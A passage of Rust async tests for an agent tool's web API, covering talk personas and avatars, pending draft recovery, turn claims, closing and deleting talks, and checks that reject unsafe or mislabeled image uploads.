11164 #[tokio::test]
11165 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
11166 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11167 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
11168 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
11169 assert_eq!(
11170 (status, ct.as_str(), nosniff, csp),
11171 (StatusCode::OK, "image/svg+xml", true, true)
11172 );
11173 }
11174
11175 #[tokio::test]
11176 async fn the_talk_view_carries_server_built_avatar_urls_only() {
11177 let (_t, _h, ui, id, _repo) =
11178 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
11179 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11180 .await
11181 .expect("detail");
11182 let json = serde_json::to_string(&detail).unwrap();
11183 assert!(
11184 !json.contains("secret"),
11185 "the icon setting must not leak: {json}"
11186 );
11187 assert!(
11188 detail
11189 .view
11190 .persona_avatar
11191 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
11192 );
11193 assert_eq!(
11194 detail.view.operator_avatar,
11195 format!(
11196 "/avatars/operator.svg?v={}",
11197 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
11198 )
11199 );
11200 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
11201 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
11202 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
11203 assert!(rei.avatar.contains("persona=rei&v="));
11204 assert_ne!(
11205 rei.avatar.split("&v=").nth(1),
11206 plain.avatar.split("&v=").nth(1)
11207 );
11208 }
11209
11210 #[tokio::test]
11211 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
11212 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11213 let cfg = config_for(&repo).await.unwrap();
11214 for arrived in [false, true] {
11215 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
11216 let observed = ui.queued_generation(&id);
11217 let talk = ui.talks.get(&id).unwrap();
11218 if arrived {
11219 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
11220 }
11221 let mut settling = std::pin::pin!(settle_settings_turn(
11222 talk,
11223 ui.talks.clone(),
11224 cfg.clone(),
11225 id.clone(),
11226 turn,
11227 observed
11228 ));
11229 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
11230 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
11231 assert_eq!(first.is_pending(), arrived);
11232 if arrived {
11233 assert!(!settling.await);
11234 }
11235 assert!(!ui.is_thinking(&id));
11236 }
11237 }
11238
11239 #[tokio::test]
11240 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
11241 let tmp = TempDir::new().expect("tempdir");
11242 let repo = tmp.path().join("repo");
11243 std::fs::create_dir_all(&repo).expect("repo dir");
11244 std::fs::write(
11245 repo.join("magi.toml"),
11246 format!(
11247 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
11248 ),
11249 )
11250 .expect("write magi.toml");
11251 let home = TempDir::new().expect("temp home");
11252 let talks = Talks::at(home.path().join("talks"));
11253 let ui = Arc::new(
11254 Ui::new(
11255 Queue::at(home.path().join("queue")),
11256 Questions::at(home.path().join("questions")),
11257 talks.clone(),
11258 home.path().join("runs"),
11259 home.path().to_path_buf(),
11260 repo.clone(),
11261 )
11262 .with_worktrees_root(home.path().join("wt")),
11263 );
11264 let cfg = config_for(&repo).await.expect("discover config");
11265 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11266 let id = talk.id.clone();
11267 let call = |persona: &str| {
11268 talk_persona(
11269 State(Arc::clone(&ui)),
11270 Path(id.clone()),
11271 Json(TalkPersona {
11272 persona: persona.to_owned(),
11273 }),
11274 )
11275 };
11276
11277 let unknown = call("nobody").await.expect_err("unknown persona");
11278 assert_eq!(
11279 unknown.status,
11280 StatusCode::BAD_REQUEST,
11281 "{}",
11282 unknown.message
11283 );
11284
11285 {
11286 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11289 let busy = call("rei").await.expect_err("busy talk");
11290 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11291 assert!(
11292 busy.message.contains("a talk turn is running"),
11293 "{}",
11294 busy.message
11295 );
11296 drop(guard);
11297 }
11298 assert_eq!(talks.get(&id).expect("reload").persona, "");
11299
11300 let Json(view) = call("gendo").await.expect("switch to a configured persona");
11301 assert_eq!(view.talk.persona, "gendo");
11302 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
11303 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11304 for chosen in ["default", "gendo", "rei", "gendo"] {
11306 let Json(view) = call(chosen).await.expect("immediate consecutive change");
11307 assert!(!view.thinking);
11308 assert!(!ui.is_thinking(&id));
11309 }
11310
11311 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11312 .await
11313 .expect("detail");
11314 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
11315 assert_eq!(ids.first(), Some(&"default"));
11316 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
11317
11318 let Json(view) = call("default").await.expect("back to default");
11319 assert_eq!(view.talk.persona, "");
11320
11321 let mut closed = talks.get(&id).expect("reload");
11322 talk::close(&mut closed, &talks).expect("close");
11323 let refused = call("rei").await.expect_err("closed talk");
11324 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11325 assert!(
11326 refused.message.contains("takes no more turns"),
11327 "{}",
11328 refused.message
11329 );
11330 }
11331
11332 #[tokio::test]
11333 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
11334 let f = Fixture::start().await;
11335 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
11336 let queue = f.queue();
11337 let mut mine = Task::new(
11338 "rename the loader".to_owned(),
11339 "rename the loader".to_owned(),
11340 PathBuf::from("/repo/magi"),
11341 Source::Agent {
11342 run: talk_id.clone(),
11343 node: "chat".to_owned(),
11344 },
11345 );
11346 queue.put(&mut mine).expect("file the task");
11347 let mut theirs = Task::new(
11348 "unrelated".to_owned(),
11349 "unrelated".to_owned(),
11350 PathBuf::from("/repo/magi"),
11351 Source::Human,
11352 );
11353 queue.put(&mut theirs).expect("file the task");
11354
11355 let res = f.get(&format!("/api/talks/{talk_id}")).await;
11356 assert_eq!(res.status, 200, "{}", res.body);
11357 let body = res.json();
11358 assert_eq!(
11359 body["status"], "open",
11360 "filing a task does not close a talk"
11361 );
11362 let tasks = body["tasks"].as_array().expect("tasks array");
11363 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
11364 assert_eq!(tasks[0]["id"], mine.id);
11365 }
11366
11367 #[tokio::test]
11368 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
11369 let (_tmp, _repo, f) = talk_fixture().await;
11370 let id = f.post("/api/talks", None).await.json()["id"]
11371 .as_str()
11372 .expect("id")
11373 .to_owned();
11374
11375 let res = f
11376 .post(
11377 &format!("/api/talks/{id}/say"),
11378 Some(r#"{"text":"what does the queue module do?"}"#),
11379 )
11380 .await;
11381 assert_eq!(res.status, 202, "{}", res.body);
11382 let queued = res.json();
11383 let turns = queued["turns"].as_array().expect("turns array");
11384 assert_eq!(
11385 turns.len(),
11386 1,
11387 "the answer reflects only what is on disk the instant it is sent, \
11388 before the agent's turn - which can run for the whole of \
11389 `[graph] timeout_talk` - has a chance to land: {queued}"
11390 );
11391 assert_eq!(turns[0]["who"], "operator");
11392 assert_eq!(turns[0]["body"], "what does the queue module do?");
11393 assert_eq!(
11394 queued["thinking"], true,
11395 "the accepted response exposes the background turn claim: {queued}"
11396 );
11397
11398 let mut turns_after = 1;
11399 for _ in 0..SETTLE_STEPS {
11400 let detail = f.get(&format!("/api/talks/{id}")).await.json();
11401 turns_after = detail["turns"].as_array().expect("turns array").len();
11402 if turns_after == 2 {
11403 break;
11404 }
11405 tokio::time::sleep(Duration::from_millis(10)).await;
11406 }
11407 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
11408 }
11409
11410 #[tokio::test]
11437 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
11438 let tmp = TempDir::new().expect("tempdir");
11439 let repo = tmp.path().join("repo");
11440 std::fs::create_dir_all(&repo).expect("repo dir");
11441 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11442 let home = TempDir::new().expect("temp home");
11443 let talks = Talks::at(home.path().join("talks"));
11444 let ui = Arc::new(
11445 Ui::new(
11446 Queue::at(home.path().join("queue")),
11447 Questions::at(home.path().join("questions")),
11448 talks.clone(),
11449 home.path().join("runs"),
11450 home.path().to_path_buf(),
11451 repo.clone(),
11452 )
11453 .with_worktrees_root(home.path().join("wt")),
11454 );
11455 let cfg = config_for(&repo).await.expect("discover config");
11456
11457 for delay in 0..40u32 {
11458 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
11459 let id = talk.id.clone();
11460
11461 let handler = tokio::spawn(talk_say(
11462 State(Arc::clone(&ui)),
11463 Path(id.clone()),
11464 Ok(Json(NewTalkTurn {
11465 reply_to: None,
11466 text: "what does the queue module do?".to_owned(),
11467 attachments: Vec::new(),
11468 })),
11469 ));
11470 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
11471 handler.abort();
11472 let _ = handler.await;
11475
11476 let mut turns = 0;
11477 for _ in 0..SETTLE_STEPS {
11478 if let Ok(fresh) = talks.get(&id) {
11479 turns = fresh.turns.len();
11480 if turns != 1 {
11481 break;
11482 }
11483 }
11484 tokio::time::sleep(Duration::from_millis(10)).await;
11485 }
11486 assert_ne!(
11487 turns, 1,
11488 "delay {delay}: talk {id} recorded the operator's turn but \
11489 the agent never answered - the reply task was never \
11490 started after the handler future was dropped"
11491 );
11492 }
11493 }
11494
11495 #[tokio::test]
11540 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
11541 let tmp = TempDir::new().expect("tempdir");
11542 let repo = tmp.path().join("repo");
11543 std::fs::create_dir_all(&repo).expect("repo dir");
11544 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11545 let home = TempDir::new().expect("temp home");
11546 let talks = Talks::at(home.path().join("talks"));
11547 let ui = Arc::new(
11548 Ui::new(
11549 Queue::at(home.path().join("queue")),
11550 Questions::at(home.path().join("questions")),
11551 talks.clone(),
11552 home.path().join("runs"),
11553 home.path().to_path_buf(),
11554 repo.clone(),
11555 )
11556 .with_worktrees_root(home.path().join("wt")),
11557 );
11558 let cfg = config_for(&repo).await.expect("discover config");
11559
11560 for attempt in 0..3u32 {
11561 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
11562 let id = talk.id.clone();
11563 let turn_guard = ui
11566 .begin_talk_turn(&id)
11567 .expect("claim the turn")
11568 .expect("a fresh talk owes nobody a turn");
11569
11570 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
11571 let (release_tx, release_rx) = std::sync::mpsc::channel();
11572 ui.set_busy_queue_gate(BusyQueueGate {
11573 reached: reached_tx,
11574 release: release_rx,
11575 });
11576
11577 let handler = tokio::spawn(talk_say(
11578 State(Arc::clone(&ui)),
11579 Path(id.clone()),
11580 Ok(Json(NewTalkTurn {
11581 reply_to: None,
11582 text: "what does the queue module do?".to_owned(),
11583 attachments: Vec::new(),
11584 })),
11585 ));
11586
11587 tokio::time::timeout(Duration::from_secs(5), reached_rx)
11592 .await
11593 .unwrap_or_else(|_| {
11594 panic!(
11595 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
11596 )
11597 })
11598 .expect("the busy branch dropped the gate without using it");
11599
11600 let running = talks.get(&id).expect("reload talk");
11607 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
11608
11609 handler.abort();
11613 let _ = handler.await;
11614
11615 let _ = release_tx.send(());
11621
11622 let mut fresh = talks.get(&id).expect("reload talk");
11625 for _ in 0..SETTLE_STEPS {
11626 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
11627 break;
11628 }
11629 tokio::time::sleep(Duration::from_millis(10)).await;
11630 fresh = talks.get(&id).expect("reload talk");
11631 }
11632 assert!(
11633 fresh.pending.is_empty() && fresh.turns.len() == 2,
11634 "attempt {attempt}: talk {id} left the operator's text queued \
11635 with no drainer - the reclaimed turn was dropped along with \
11636 the handler future (pending {:?}, {} turns)",
11637 fresh.pending,
11638 fresh.turns.len()
11639 );
11640 }
11641 }
11642
11643 #[tokio::test]
11644 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
11645 let (_tmp, _repo, f) = talk_fixture().await;
11646 let id = f.post("/api/talks", None).await.json()["id"]
11647 .as_str()
11648 .expect("id")
11649 .to_owned();
11650 let store = f.talks();
11651 let mut recovered = store.get(&id).expect("opened talk");
11652 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11653 .expect("persist pending draft without a live turn");
11654
11655 let edited = f
11656 .post(
11657 &format!("/api/talks/{id}/pending/edit"),
11658 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
11659 )
11660 .await;
11661 assert_eq!(edited.status, 200, "{}", edited.body);
11662 assert!(edited.json()["thinking"].as_bool().unwrap());
11663
11664 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
11665 for _ in 0..SETTLE_STEPS {
11666 if detail["turns"].as_array().expect("turns").len() == 2 {
11667 break;
11668 }
11669 tokio::time::sleep(Duration::from_millis(10)).await;
11670 detail = f.get(&format!("/api/talks/{id}")).await.json();
11671 }
11672 let turns = detail["turns"].as_array().expect("turns");
11673 assert_eq!(
11674 turns.len(),
11675 2,
11676 "the recovered draft must run once: {detail}"
11677 );
11678 assert_eq!(turns[0]["body"], "corrected");
11679 assert_eq!(detail["pending"], "");
11680 }
11681
11682 #[tokio::test]
11683 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
11684 let tmp = TempDir::new().expect("tempdir");
11685 let repo = tmp.path().join("repo");
11686 std::fs::create_dir_all(&repo).expect("repo dir");
11687 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11688 let f = Fixture::with_repo(repo).await;
11689 let id = f.post("/api/talks", None).await.json()["id"]
11690 .as_str()
11691 .expect("id")
11692 .to_owned();
11693 let store = f.talks();
11694 let mut recovered = store.get(&id).expect("opened talk");
11695 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11696 .expect("persist pending draft without a live turn");
11697
11698 let refused = f
11699 .post(
11700 &format!("/api/talks/{id}/say"),
11701 Some(r#"{"text":"new message"}"#),
11702 )
11703 .await;
11704 assert_eq!(refused.status, 409, "{}", refused.body);
11705 assert!(refused.body.contains("resume"), "{}", refused.body);
11706 let saved = store.get(&id).expect("draft remains after refusal");
11707 assert!(saved.turns.is_empty());
11708 assert_eq!(saved.pending, "saved before restart");
11709
11710 let say_path = format!("/api/talks/{id}/say");
11711 let (first, second) = tokio::join!(
11712 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
11713 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
11714 );
11715 assert_eq!(first.status, 409, "{}", first.body);
11716 assert_eq!(second.status, 409, "{}", second.body);
11717 let saved = store
11718 .get(&id)
11719 .expect("draft remains after concurrent refusals");
11720 assert!(saved.turns.is_empty());
11721 assert_eq!(saved.pending, "saved before restart");
11722
11723 let resumed = f
11724 .post(&format!("/api/talks/{id}/pending/resume"), None)
11725 .await;
11726 assert_eq!(resumed.status, 202, "{}", resumed.body);
11727 let duplicate = f
11728 .post(&format!("/api/talks/{id}/pending/resume"), None)
11729 .await;
11730 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
11731
11732 for _ in 0..SETTLE_STEPS {
11733 if store.get(&id).expect("talk").turns.len() == 2 {
11734 break;
11735 }
11736 tokio::time::sleep(Duration::from_millis(10)).await;
11737 }
11738 let finished = store.get(&id).expect("finished talk");
11739 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11740 assert_eq!(finished.turns[0].body, "saved before restart");
11741 assert!(finished.pending.is_empty());
11742 }
11743
11744 #[tokio::test]
11745 async fn an_image_only_recovered_draft_resumes_without_text() {
11746 let (_tmp, _repo, f) = talk_fixture().await;
11747 let id = f.post("/api/talks", None).await.json()["id"]
11748 .as_str()
11749 .expect("id")
11750 .to_owned();
11751 let uploaded = f
11752 .post_bytes(
11753 &format!("/api/talks/{id}/attachments"),
11754 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
11755 PNG_BYTES,
11756 )
11757 .await;
11758 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11759 let attachment = f
11760 .talks()
11761 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
11762 .expect("attachment metadata")
11763 .expect("stored attachment");
11764 let store = f.talks();
11765 let mut recovered = store.get(&id).expect("opened talk");
11766 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
11767
11768 let resumed = f
11769 .post(&format!("/api/talks/{id}/pending/resume"), None)
11770 .await;
11771 assert_eq!(resumed.status, 202, "{}", resumed.body);
11772 for _ in 0..SETTLE_STEPS {
11773 if store.get(&id).expect("talk").turns.len() == 2 {
11774 break;
11775 }
11776 tokio::time::sleep(Duration::from_millis(10)).await;
11777 }
11778 let finished = store.get(&id).expect("finished talk");
11779 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11780 assert!(finished.turns[0].body.is_empty());
11781 assert_eq!(finished.turns[0].attachments.len(), 1);
11782 assert!(finished.pending_attachments.is_empty());
11783 }
11784
11785 #[tokio::test]
11786 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
11787 let (_tmp, _repo, f) = talk_fixture().await;
11788 let id = f.post("/api/talks", None).await.json()["id"]
11789 .as_str()
11790 .expect("id")
11791 .to_owned();
11792 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11793 assert_eq!(closed.status, 200, "{}", closed.body);
11794 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11795 .expect("serialize closed talk");
11796 for (path, body) in [
11797 (format!("/api/talks/{id}/pending/resume"), None),
11798 (
11799 format!("/api/talks/{id}/pending/clear"),
11800 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
11801 ),
11802 (
11803 format!("/api/talks/{id}/pending/edit"),
11804 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
11805 ),
11806 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
11807 ] {
11808 let response = f.post(&path, body).await;
11809 assert_eq!(response.status, 409, "{}", response.body);
11810 }
11811 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11812 .expect("serialize closed talk");
11813 assert_eq!(
11814 after_clear, before_clear,
11815 "clear must not rewrite a closed talk"
11816 );
11817 }
11818
11819 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
11822
11823 #[tokio::test]
11824 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
11825 let tmp = TempDir::new().expect("tempdir");
11826 let repo = tmp.path().join("repo");
11827 std::fs::create_dir_all(&repo).expect("repo dir");
11828 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11829 let f = Fixture::with_repo(repo).await;
11830 let id_a = f.post("/api/talks", None).await.json()["id"]
11831 .as_str()
11832 .unwrap()
11833 .to_owned();
11834 let id_b = f.post("/api/talks", None).await.json()["id"]
11835 .as_str()
11836 .unwrap()
11837 .to_owned();
11838
11839 let a = f
11840 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
11841 .await;
11842 assert_eq!(a.status, 202, "{}", a.body);
11843 assert_eq!(a.json()["thinking"], true);
11844 let b = f
11845 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
11846 .await;
11847 assert_eq!(b.status, 202, "{}", b.body);
11848 assert_eq!(b.json()["thinking"], true);
11849
11850 let listed = f.get("/api/talks").await.json();
11851 for id in [&id_a, &id_b] {
11852 let view = listed
11853 .as_array()
11854 .unwrap()
11855 .iter()
11856 .find(|talk| talk["id"] == *id)
11857 .unwrap();
11858 assert_eq!(view["thinking"], true, "{listed}");
11859 }
11860 let repeated = f
11861 .post(
11862 &format!("/api/talks/{id_a}/say"),
11863 Some(r#"{"text":"again"}"#),
11864 )
11865 .await;
11866 assert_eq!(repeated.status, 202, "{}", repeated.body);
11867 assert_eq!(repeated.json()["pending"], "again");
11868 }
11869
11870 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
11873
11874 #[tokio::test]
11875 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
11876 let f = Fixture::start().await;
11877 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
11878
11879 let res = f
11880 .post_bytes(
11881 &format!("/api/talks/{id}/attachments"),
11882 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11883 PNG_BYTES,
11884 )
11885 .await;
11886 assert_eq!(res.status, 201, "{}", res.body);
11887 let body = res.json();
11888 assert_eq!(body["name"], "shot.png");
11889 assert_eq!(body["mime"], "image/png");
11890 assert_eq!(body["bytes"], PNG_BYTES.len());
11891 let att_id = body["id"].as_str().expect("id").to_owned();
11892 assert_eq!(
11893 att_id.len(),
11894 32,
11895 "the id must never be a client-suppliable path: {att_id}"
11896 );
11897
11898 let got = f
11899 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
11900 .await;
11901 assert_eq!(got.status, 200, "{}", got.body);
11902 assert_eq!(got.header("content-type"), Some("image/png"));
11903 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
11904 assert_eq!(got.bytes, PNG_BYTES);
11905 }
11906
11907 #[tokio::test]
11908 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
11909 let f = Fixture::start().await;
11910 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
11911
11912 let svg = f
11915 .post_bytes(
11916 &format!("/api/talks/{id}/attachments"),
11917 &[("Content-Type", "image/svg+xml")],
11918 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
11919 )
11920 .await;
11921 assert!(
11922 (400..500).contains(&svg.status),
11923 "svg must be refused: {} {}",
11924 svg.status,
11925 svg.body
11926 );
11927 assert!(svg.body.contains("SVG"), "{}", svg.body);
11928
11929 let text = f
11930 .post_bytes(
11931 &format!("/api/talks/{id}/attachments"),
11932 &[("Content-Type", "text/plain")],
11933 b"just some text",
11934 )
11935 .await;
11936 assert!(
11937 (400..500).contains(&text.status),
11938 "an unlisted type must be refused: {} {}",
11939 text.status,
11940 text.body
11941 );
11942
11943 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
11946 let big = f
11947 .post_bytes(
11948 &format!("/api/talks/{id}/attachments"),
11949 &[("Content-Type", "image/png")],
11950 &oversized,
11951 )
11952 .await;
11953 assert_eq!(
11954 big.status,
11955 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
11956 "{}",
11957 big.body
11958 );
11959 }
11960
11961 #[tokio::test]
11962 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
11963 let f = Fixture::start().await;
11964 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
11965
11966 let res = f
11969 .post_bytes(
11970 &format!("/api/talks/{id}/attachments"),
11971 &[("Content-Type", "image/png")],
11972 b"<html>not a picture</html>",
11973 )
11974 .await;
11975 assert!((400..500).contains(&res.status), "{}", res.body);
11976 }
11977
11978 #[tokio::test]
11979 async fn an_unknown_attachment_id_is_a_404() {
11980 let f = Fixture::start().await;
11981 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
11982
11983 let res = f
11984 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
11985 .await;
11986 assert_eq!(res.status, 404, "{}", res.body);
11987 }
11988
11989 #[tokio::test]
11990 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
11991 let f = Fixture::start().await;
11992 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
11993
11994 let uploaded = f
11995 .post_bytes(
11996 &format!("/api/talks/{id}/attachments"),
11997 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11998 PNG_BYTES,
11999 )
12000 .await;
12001 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
12002 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
12003
12004 let res = f
12005 .post(
12006 &format!("/api/talks/{id}/say"),
12007 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
12008 )
12009 .await;
12010 assert_eq!(res.status, 202, "{}", res.body);
12011 let queued = res.json();
12012 let turns = queued["turns"].as_array().expect("turns array");
12013 assert_eq!(
12014 turns.len(),
12015 1,
12016 "an empty body with an attachment is still a turn: {queued}"
12017 );
12018 assert_eq!(turns[0]["who"], "operator");
12019 assert_eq!(turns[0]["body"], "");
12020 let atts = turns[0]["attachments"]
12021 .as_array()
12022 .expect("attachments array");
12023 assert_eq!(atts.len(), 1);
12024 assert_eq!(atts[0]["id"], att_id);
12025 assert_eq!(atts[0]["mime"], "image/png");
12026
12027 let on_disk = f.talks().get(&id).expect("get");
12030 assert_eq!(on_disk.turns[0].attachments.len(), 1);
12031 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
12032 }
12033
12034 #[tokio::test]
12035 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
12036 let f = Fixture::start().await;
12037 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
12038
12039 let res = f
12040 .post(
12041 &format!("/api/talks/{id}/say"),
12042 Some(&format!(
12043 r#"{{"text":"hi","attachments":["{}"]}}"#,
12044 "a".repeat(32)
12045 )),
12046 )
12047 .await;
12048 assert!((400..500).contains(&res.status), "{}", res.body);
12049 assert!(res.body.contains("unknown attachment"), "{}", res.body);
12050
12051 let on_disk = f.talks().get(&id).expect("get");
12052 assert!(
12053 on_disk.turns.is_empty(),
12054 "a rejected attachment id must not partially record the turn: {:?}",
12055 on_disk.turns
12056 );
12057 }
12058
12059 #[tokio::test]
12060 async fn talk_close_makes_the_talk_refuse_further_turns() {
12061 let f = Fixture::start().await;
12062 let id = seed_talk(&f, "20260904-014455-cd34", "open");
12063
12064 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12065 assert_eq!(closed.status, 200, "{}", closed.body);
12066 assert_eq!(closed.json()["status"], "closed");
12067
12068 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
12070 assert_eq!(closed_again.status, 200);
12071 assert_eq!(closed_again.json()["status"], "closed");
12072
12073 let said = f
12074 .post(
12075 &format!("/api/talks/{id}/say"),
12076 Some(r#"{"text":"too late"}"#),
12077 )
12078 .await;
12079 assert_eq!(said.status, 409, "{}", said.body);
12080 }
12081
12082 #[tokio::test]
12083 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
12084 let (_tmp, _repo, f) = talk_fixture().await;
12085 let id = f.post("/api/talks", None).await.json()["id"]
12086 .as_str()
12087 .expect("id")
12088 .to_owned();
12089 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12090 assert_eq!(closed.status, 200, "{}", closed.body);
12091
12092 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
12093 assert_eq!(reopened.status, 200, "{}", reopened.body);
12094 assert_eq!(reopened.json()["status"], "open");
12095
12096 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
12098 assert_eq!(reopened_again.status, 200);
12099 assert_eq!(reopened_again.json()["status"], "open");
12100
12101 let said = f
12102 .post(
12103 &format!("/api/talks/{id}/say"),
12104 Some(r#"{"text":"still there?"}"#),
12105 )
12106 .await;
12107 assert_eq!(
12108 said.status, 202,
12109 "a reopened talk accepts turns again: {}",
12110 said.body
12111 );
12112 }
12113
12114 #[tokio::test]
12115 async fn talk_reopen_on_an_unknown_id_is_404() {
12116 let f = Fixture::start().await;
12117 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
12118 assert_eq!(res.status, 404, "{}", res.body);
12119 }
12120
12121 #[tokio::test]
12122 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
12123 let f = Fixture::start().await;
12124 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
12125
12126 let deleted = f.delete(&format!("/api/talks/{id}")).await;
12127 assert_eq!(deleted.status, 204, "{}", deleted.body);
12128
12129 let after = f.get(&format!("/api/talks/{id}")).await;
12130 assert_eq!(after.status, 404, "{}", after.body);
12131
12132 let listed = f.get("/api/talks").await.json();
12133 assert!(
12134 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
12135 "a deleted talk must not linger in the list: {listed}"
12136 );
12137 }
12138
12139 #[tokio::test]
12140 async fn talk_delete_on_an_unknown_id_is_404() {
12141 let f = Fixture::start().await;
12142 let res = f.delete("/api/talks/nonexistent-id").await;
12143 assert_eq!(res.status, 404, "{}", res.body);
12144 }
12145
12146 #[tokio::test]
12150 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
12151 let f = Fixture::start().await;
12152 let (a, b, gone) = (
12153 "20260902-140501-aaaa",
12154 "20260902-140502-bbbb",
12155 "20260902-140503-cccc",
12156 );
12157 write_run(&f.runs(), a, RunStatus::Stalled);
12158 let mut review = RunState::new(
12159 PathBuf::from("/repo/magi"),
12160 "main".to_owned(),
12161 "0123456789abcdef".to_owned(),
12162 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
12163 .to_owned(),
